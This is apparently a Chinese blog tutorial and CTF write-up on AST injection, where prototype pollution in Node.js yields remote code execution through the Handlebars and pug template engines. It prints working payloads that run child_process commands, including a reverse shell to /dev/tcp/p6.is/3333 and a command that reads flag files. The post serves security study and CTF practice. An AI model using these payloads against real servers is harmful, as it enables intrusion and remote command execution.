AST注入-从原型链污染到RCE


概念

什么是AST注入

在NodeJS中,AST经常被在JS中使用,作为template engines(引擎模版)和typescript等。对于引擎模版,结构如下图所示。
在这里插入图片描述
如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)或Compiler(编译器)过程中插入到函数中。
在这里插入图片描述在这里,你可以在没有过滤、没有经过lexer(分析器)或parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。

然后我们可以向Parser(编译器)非预期的输入。

下面就是展示实际中在handlebars和pug使用AST注入执行任意命令

漏洞

Handlebars

本地测试,代码如下

const Handlebars = require('handlebars');

const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);

console.log(template({"msg": "posix"}));

这是如何在handlebars使用模板的方法,运行结果为下图
在这里插入图片描述

Handlebar.compile函数将字符串转换为模板函数并传递对象因子以供调用

const Handlebars = require('handlebars');

Object.prototype.pendingContent = `<script>alert(origin)</script>`

const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);

console.log(template({"msg": "posix"}));

在这里,我们可以使用原型污染来影响编译过程。
你可以插入任意字符串payload到Object.prototype.pendingContent中决定你想要的攻击。
在这里插入图片描述
构造payload

{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
    }],
    "loc": {
        "start": 0,
        "end": 0
    }
}

pug

本地测试,源码如下

const pug = require('pug');
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});console.log(html);

此为在 pug 中使用模板的常见方法,运行结果为下图

在这里插入图片描述

pug.compile函数将字符串转换为模板函数并传递对象以供调用

const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);

在这里插入图片描述

构造payload

 {
    "__proto__.block": {        
        "type": "Text",         
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }
}

例题 [湖湘杯 2021 final]vote

考察的是pug模板引擎下的rce

源码如下

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

	if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
		return res.json({
			'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with correct name.'
		});
	}
});

module.exports = router;

给了./api/submit路由,然后看到pug.compile
稍微修改下payload,直接使用(这道题反弹shell不成功)

{
    "hero.name":"锐雯",
    "__proto__.block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').execSync('cat /f* > ./static/1.txt')"
    }
}

成功RCE
在这里插入图片描述

再访问一下static目录的1.txt,得到flag

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Node.js中,原型链污染是一种安全漏洞,它利用了JavaScript中原型继承的特性。通过修改原型链,攻击者可以在目标对象上注入恶意属性或方法。 在提供的引用内容中,通过调用`utils.copy(user, req.body)`函数,攻击者可以实现原型链污染。在`copy`函数中,遍历`object2`的属性,并将其逐一赋值给`object1`。如果`object1`和`object2`中都存在相同的属性,那么就会调用递归函数`copy`来复制这个属性的值。这个过程中,如果`object2`中的属性也是一个对象,并且在`object1`中也存在相同的属性,那么递归调用`copy`函数会继续在这个属性上进行操作。 通过构造特定的恶意输入,攻击者可以将`Object.prototype`中的属性或方法注入到 `req.body` 对象中。在提供的代码示例中,攻击者可以设置 `req.body` 的属性 `secert` 为一个对象,从而使其继承自 `Object.prototype`。这样,`req.body` 对象就获得了 `Object.prototype` 中的所有属性和方法,包括 `toString`、`hasOwnProperty`等。进一步,当代码判断 `secert.ctfshow` 等于 `'36dboy'` 时,就会返回`flag`,使得攻击者可以绕过登录验证获取到敏感信息。 因此,通过利用原型链污染,攻击者可以在Node.js应用中实现恶意操作,并绕过原本的安全检查。为了防止原型链污染的攻击,开发者应该对输入进行严格的验证和过滤,确保不会接受恶意的输入,并且避免直接使用`Object.prototype`的属性和方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值